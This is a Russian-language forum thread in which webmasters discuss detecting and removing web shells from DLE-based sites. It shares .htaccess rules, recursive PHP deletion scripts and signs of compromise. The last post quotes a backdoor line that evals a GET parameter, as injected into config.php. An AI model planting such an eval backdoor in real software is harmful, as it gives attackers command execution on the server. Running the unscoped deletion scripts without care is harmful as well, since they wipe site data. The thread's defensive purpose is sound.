1

Тема: Как обнаружить в своем скрипте на сайте шелл?

Сразу задам и второй вопрос, который возник из предыдущей моей темы Как изменить пароль MySQL. Так же интересует ответ на вопрос Как обнаружить в своем скрипте на сайте шелл?

Поделиться

2

Re: Как обнаружить в своем скрипте на сайте шелл?

reclis пишет:

Как обнаружить в своем скрипте на сайте шелл?

Искать надо...

Искать чужие папки, файлы, которые не являются "родными" для Вашего движка. Залить шелл можно лишь в некоторые папки, которые открыты для записи со стороны. Т.е., те папки, в которые посредством скрипта разрешен доступ. Например, для движка DLE такими папками являются /uploads/ и /templates/, а также все вложенные в них папки. Если злоумышленнику удастся залить в эти папки свой php-скрипт (благодаря каким-то дырам), то его можно будет запустить, например из браузера, набрав команду site.ru/uploads/.... /file.php.

Чтобы посторонние скрипты злоумышленника не смогли делать свое дело до тех пор, пока Вы их не обнаружите, - нужно запретить выполнение файлов скриптов в данных папках. Сделать это можно при помощи файла .htaccess содержащем следующие строки:

<FilesMatch "\.(php|php3|php4|php5|php6|phtml|phps)$|^$">
   Order allow,deny
   Deny from all
</FilesMatch>

Этот код не позволить исполняем файлам запускаться в данных папках, если обращение к этим файлам происходит напрямую (например, из браузера), но сам скрипт движка будет превосходно работать с этими папками.

Если необходимо запретить обращение к файлам других типов, то их расширения следует добавить к уже имеющимся. Например, чтобы дополнительно запретить прямое исполнение файлов .html

<FilesMatch "\.(html|php|php3|php4|php5|php6|phtml|phps)$|^$">
   Order allow,deny
   Deny from all
</FilesMatch>

К сожалению, некоторые хостеры запрещают своим пользователям управлять настройками апача. В подобных случаях остается лишь сожалеть о невозможности усиления вашей защиты, если взломщик загрузит в данные папки свои скрипты.

Поделиться

3

Re: Как обнаружить в своем скрипте на сайте шелл?

В свое время обнаружил на сайте шелл, удалил его без проблем, но остались папки и файлы, созданные с его помощью. Удалить их невозможно, сменить права так же. Оперативно достучаться до техподдержки невозможно, короче, мрак. А если нужно удалить как можно быстрее?
В моем случае эти файлы особой опасности не представляли, но ведь могут быть и серьезные ситуации. Как самому удалить неудаляемые файлы?

Поделиться

4

Re: Как обнаружить в своем скрипте на сайте шелл?

В свое время где-то нашел скрипт пхп, который удалет файлы и папки, созданные скриптом и недоступные для удаления через ФТП или админпанели хоста из-за недостатка на это прав, так как если файлы или папки были созданы скриптом, то удалить их может только скрипт. За качество работы скрипта не ручаюсь, потому что мало смыслю в пхп, но на всякий случай выкладываю.

<HTML>
<HEAD>
<TITLE></TITLE>
<META name="description" content="">
<META name="keywords" content="">
<META name="generator" content="CuteHTML">
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#0000FF" VLINK="#800080">

</BODY>
</HTML>
<?
function indir($path) {
$d = dir($path);
echo "<b>Path: ".$d->path."</b><br>n";
while($entry=$d->read()) {
if ($entry!="." and $entry!=".." and $entry!="cleansweep.php")
{
if (is_dir($path."/".$entry))
{
indir($path."/".$entry);
echo "<b>$path.$entry</b><br>";
rmdir($path."/".$entry);
}
else
{
unlink($path."/".$entry);
echo $path."/".$entry."<br>";
}
}
}
$d->close();
}
indir("./");

?>

Файл с этим скриптом нужно положить в ту папку, файлы в которой нужно удалить. После его запуска будет удалено ВСЕ в этой папке.

Поделиться

5

Re: Как обнаружить в своем скрипте на сайте шелл?

А что такое cleansweep.php в данном скрипте?

if ($entry!="." and $entry!=".." and $entry!="cleansweep.php")

Что это за файл и где его взять?
И что будет, если мы в папку в которой нужно удалить ВСЕ, поместим сам скрипт, который будет заниматься удалением ВСЕГО? Что будет, если он попытается удалить самого себя?

Поделиться

6 (2010-12-09 02:34:30 отредактировано Site_Bot)

Re: Как обнаружить в своем скрипте на сайте шелл?

Хм... кажется разобрался... Опасный скрипт...

cleansweep.php - это имя собственно файла скрипта, который выполняет функцию удаления. В этой строке файл защищается от самоудаления.

<?
function indir($path)
{
    $d = dir($path);
    echo "<b>Path: ".$d->path."</b><br>n";
    while($entry=$d->read())
    {
        if ($entry!="." and $entry!=".." and $entry!="cleansweep.php")
        {
            if (is_dir($path."/".$entry))
            {
            indir($path."/".$entry);
            echo "<b>$path.$entry</b><br>";
            rmdir($path."/".$entry);
            }
            else
            {
            unlink($path."/".$entry);
            echo $path."/".$entry."<br>";
            }
        }
    }
    $d->close();
}
indir("./");

?>

Что опасного? Опасно следующее:

indir("./");

.....Этот код удалит корневую директорию. Короче удалит все на свете...... т.е. в параметрах функции indir вместо "./" следует прописать путь до удаляемой папки. Тогда встает вопрос: а зачем этот скрипт помещать в папку, которая удаляется?

Поделиться

7

Re: Как обнаружить в своем скрипте на сайте шелл?

Вот удалось найти код попроще, который выполняет туже функцию удаления папки.

<?
$deldir = "Путь_к_директории_на_сервере";
rmdirr($deldir);
function rmdirr($dirname)
{
if (!file_exists($dirname)) {
return false;
}
if (is_file($dirname)) {
return unlink($dirname);
}
$dir = dir($dirname);
while (false !== $entry = $dir->read()) {
if ($entry == '.' || $entry == '..') {
continue;
}
rmdirr("$dirname/$entry");
}
$dir->close();
return rmdir($dirname);
}
?>

Поделиться

8

Re: Как обнаружить в своем скрипте на сайте шелл?

И еще один код скрипта для удаления файлов, которые нельзя удалить:

<?php

function RemoveDir($path)
{
    if(file_exists($path) && is_dir($path))
    {
        $dirHandle = opendir($path);
        while(false!==($file = readdir($dirHandle)))
        {
            if($file!='.' && $file!='..')
            {
                $tmpPath = $path.'/'.$file;
                chmod($tmpPath, 0777);
                if(is_dir($tmpPath))
                {
                RemoveDir($tmpPath);
                }
                else
                {
                if(!unlink($tmpPath)) echo 'Не удалось удалить файл «'.$path.'»!';
                }
            }
        }
        closedir($dirHandle);
// удаляем текущую папку

        if(!rmdir($path)) echo 'error', 'Не удалось удалить папку «'.$path.'»!';
    }
    else
    {
    echo 'error', 'Папки «'.$path.'» не существует!';
    }

}
    
?>

Поделиться

9 (2010-12-17 18:20:32 отредактировано SV)

Re: Как обнаружить в своем скрипте на сайте шелл?

Поэксперементировал я с этими скриптами. Рабочим оказался первый, который был предложен Vladimir. Прекрасно работает. Скрипт я немного упростил, вырезав html-часть, которая абсолютно не нужна. Остальные скрипты нуждаются в доработке, но это не трудно сделать, ориентируясь на рабочий (только зачем?).

Данный скрипт нужно обязательно поместить именно в ту папку, файлы и вложенные папки которой необходимо удалить. Если среди файлов имеются нужные, то предварительно их нужно куда-нибудь сохранить, чтобы впоследствии загрузить на место.

1. Загружаем скрипт [attachment=33] и распаковываем.
2. Помещаем файл cleansweep.php в папку, файлы и вложенные папки в которой необходимо удалить.
3. В адресной строке браузера пишем путь до файла cleansweep.php, например, my_site/..../..../cleansweep.php и запускаем файл на выполнение.

Все!! Файлы успешно удалены.

Поделиться

10

Re: Как обнаружить в своем скрипте на сайте шелл?

Еще некоторые сведения о том, как можно обнаружить шелл на DLE.

Нужно проверить файл dbconfig.php и config.php лежащие в папке /engine/data/
В файл dbconfig.php может прописаться яваскрипт с партнёркой. А в файл config.php дописаться следующий код:

'lang_123' => "{${@eval($_GET[cmd])}}",

Проверить main.tpl - туда может быть записан левый ифрейм.

Так же в файлы

<script type="text/javascript" src="/engine/classes/js/menu.js"></script>
<script type="text/javascript" src="/engine/classes/js/dle_ajax.js"></script>
<script type="text/javascript" src="/engine/classes/js/js_edit.js"></script>
<script type="text/javascript" src="/engine/classes/highslide/highslide.js"></script>

может быть подгружен зашифрованный ифрейм.

После удаления вредоносного кода бессмысленно менять права на файлы, в которые код прописывался (например на 444 - только чтение), потому что злоумышленник может просто переименовать папку в которой лежат файлы, права которых мы изменили, и создать точно такую же, в которую вновь занесет инфицированные файлы.

Поделиться